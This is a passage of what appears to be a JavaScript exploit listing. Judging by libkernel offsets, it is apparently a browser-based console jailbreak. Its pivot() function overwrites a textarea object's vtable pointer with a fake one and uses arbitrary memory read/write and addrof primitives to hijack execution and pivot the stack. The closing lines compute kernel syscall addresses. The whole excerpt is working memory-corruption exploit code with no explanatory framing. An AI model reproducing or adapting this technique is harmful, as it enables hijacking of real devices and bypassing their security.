(buf)
| 177 | * jump to `pivot_addr` to return |
| 178 | */ |
| 179 | function pivot(buf) |
| 180 | { |
| 181 | var ans = malloc(0x400); |
| 182 | var bak = read_ptr_at(fake_vtable+0x1d8); |
| 183 | write_ptr_at(fake_vtable+0x1d8, saveall_addr); |
| 184 | write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); |
| 185 | tarea.scrollLeft = 0; |
| 186 | write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); |
| 187 | write_mem(ans, read_mem(fake_vt_ptr, 0x400)); |
| 188 | write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); |
| 189 | var bak = read_ptr_at(fake_vtable+0x1d8); |
| 190 | write_ptr_at(fake_vtable+0x1d8, pivot_addr); |
| 191 | write_ptr_at(fake_vt_ptr+0x38, buf); |
| 192 | write_ptr_at(ans+0x38, read_ptr_at(ans+0x38)-16); |
| 193 | write_ptr_at(buf, ans); |
| 194 | write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); |
| 195 | tarea.scrollLeft = 0; |
| 196 | write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); |
| 197 | write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); |
| 198 | } |
| 199 | var sys_545_addr = libkernel_base + 0x264a0; |
| 200 | var sys_47_addr = libkernel_base + 0x264c0; |
| 201 | var sys_554_addr = libkernel_base + 0x264e0; |
no test coverage detected